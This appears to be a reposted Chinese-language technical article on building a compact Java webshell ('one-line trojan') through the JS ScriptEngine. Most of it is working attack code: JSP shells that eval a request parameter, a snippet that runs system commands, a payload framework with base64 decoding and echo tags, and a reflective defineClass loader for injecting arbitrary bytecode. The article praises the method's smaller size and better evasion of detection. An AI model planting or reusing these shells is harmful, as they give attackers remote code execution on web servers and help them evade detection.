一种新型Java一句话木马的实现
字数 1553 2025-08-05 08:19:01
新型Java一句话木马实现技术详解
一、技术背景与原理
1.1 传统Java一句话木马的局限性
- 采用打入字节码defineClass实现
- 优势:可完整打入类,实现几乎所有Java功能
- 不足:
- Payload体积过大
- 修改不便
- 存在明显特征(继承ClassLoader、反射调用defineClass等)
1.2 新型Java一句话木马原理
- 利用Java中的JS引擎实现
- 核心思路:
- Java没有eval函数,但JS有eval函数
- Java从1.6开始自带ScriptEngineManager类,原生支持调用JS
- ScriptEngine支持在JS中调用Java对象
二、基础实现方法
2.1 获取脚本引擎的三种方式
// 通过脚本名称获取
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript"); // 简写为js也可以
// 通过文件扩展名获取
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
// 通过MIME类型获取
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
2.2 绑定对象方法
// 方法1:直接put
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
// 方法2:通过SimpleBindings
new javax.script.ScriptEngineManager().getEngineByName("js").eval(
request.getParameter("ant"),
new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}})
);
2.3 完整JSP实现
<%-- 方式1 --%>
<%
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
%>
<%-- 方式2(精简版) --%>
<%
new javax.script.ScriptEngineManager().getEngineByName("js").eval(
request.getParameter("mr6"),
new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}})
);
%>
三、JS引擎语法详解
3.1 基本语法规则
调用Java方法
var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
var result = sc.hasNext() ? sc.next() : "";
sc.close();
导入Java类型
// Rhino和Nashorn通用
var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;
// 仅Nashorn支持
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")
创建Java类型数组
// Rhino方式
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)
// Nashorn方式
var IntArray = Java.type("int[]")
var array = new IntArray(8)
3.2 导入Java类
传统导入方式
load("nashorn:mozilla_compat.js");
importClass(java.util.HashSet);
var set = new HashSet();
importPackage(java.util);
var list = new ArrayList();
作用域导入(防止污染)
var SwingGui = new JavaImporter(javax.swing,
javax.swing.event,
javax.swing.border,
java.awt.event);
with (SwingGui) {
var mybutton = new JButton("test");
var myframe = new JFrame("test");
}
3.3 方法调用与重载处理
// 常规调用
var System = Java.type('java.lang.System');
System.out.println('Hello, World');
// 指定重载版本
System.out['println'](3.14); // 自动选择
System.out['println(double)'](3.14); // 指定double版本
System.out['println(int)'](3.14); // 指定int版本
四、Payload结构设计
4.1 基础框架
// 导入基础拓展
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
// 导入常见包
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer(""); // 输出
var cs = "${jspencode}"; // 字符集编码
var tag_s = "${tag_s}"; // 开始符号
var tag_e = "${tag_e}"; // 结束符号
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function decode(str) {
// 参数解码
str = str.substr(2);
var bt = Base64DecodeToByte(str);
return new java.lang.String(bt, cs);
}
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
function asoutput(str) {
// 回显加密
return str;
}
function func(z1) {
// eval function
return z1;
}
output.append(func(z1)); // 添加功能函数回显
} catch (e) {
output.append("ERROR:// " + e.toString()); // 输出错误
}
try {
response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); // 回显
} catch (e) {}
五、技术难点与解决方案
5.1 跨语言类型转换问题
类型对比表
| JavaScript值 | JavaScript类型 | Java类型 | 是否可脚本化 | 是否是函数 |
|---|---|---|---|---|
| {a:1, b:['x','y']} | object | org.mozilla.javascript.NativeObject | + | - |
| [1,2,3] | object | org.mozilla.javascript.NativeArray | + | - |
| 1 | number | java.lang.Double | - | - |
| "test" | string | java.lang.String | - | - |
| function(){} | function | org.mozilla.javascript.gen.c1 | + | + |
5.2 引擎差异问题
Rhino与Nashorn差异
- Java 6/7使用Rhino引擎
- Java 8+使用Nashorn引擎
- 主要差异:
- 导入语法不同
- 对混合Java/JS代码的解释方式不同
解决方案
// 使用Java迭代器替代JS for-in循环
var i = 0;
var iter = cmdenv.keySet().iterator();
while (iter.hasNext()) {
var key = iter.next();
var val = cmdenv.get(key);
e[i] = key + "=" + val;
i++;
}
5.3 反射实现兼容性
传统Java反射实现
public byte[] Base64DecodeToByte(String str) {
byte[] bt = null;
String version = System.getProperty("java.version");
try {
if (version.compareTo("1.9") >= 0) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
} else {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
}
return bt;
} catch (Exception e) {
return new byte[]{};
}
}
JS简化实现
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
六、兼容传统字节码方式
6.1 实现原理
- 在JS引擎中调用defineClass
- 可复用传统字节码Payload
6.2 实现代码
function define(Classdata, cmd) {
var classBytes = Base64DecodeToByte(Classdata);
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
七、测试与验证
7.1 测试环境
- Java版本:≥6
- 功能验证:
- 命令执行
- 文件操作
- 数据库连接
- 虚拟终端
7.2 优势对比
| 指标 | 传统字节码方式 | 新型JS引擎方式 |
|---|---|---|
| 数据包长度 | 7378字节 | 2481字节 |
| 灵活性 | 较低 | 较高 |
| 隐蔽性 | 较差 | 较好 |
| 兼容性 | Java全版本 | Java≥6 |
八、总结与建议
8.1 技术特点
- 体积更小(约为传统方式的1/3)
- 变化种类更多
- 使用更灵活
- 兼容Java 6及以上版本
8.2 适用场景
- 需要隐蔽性较高的场景
- 传输带宽受限的环境
- 需要快速修改Payload的情况
8.3 注意事项
- Payload编写和调试较复杂
- 不同Java版本引擎行为有差异
- 必要时可回退到传统字节码方式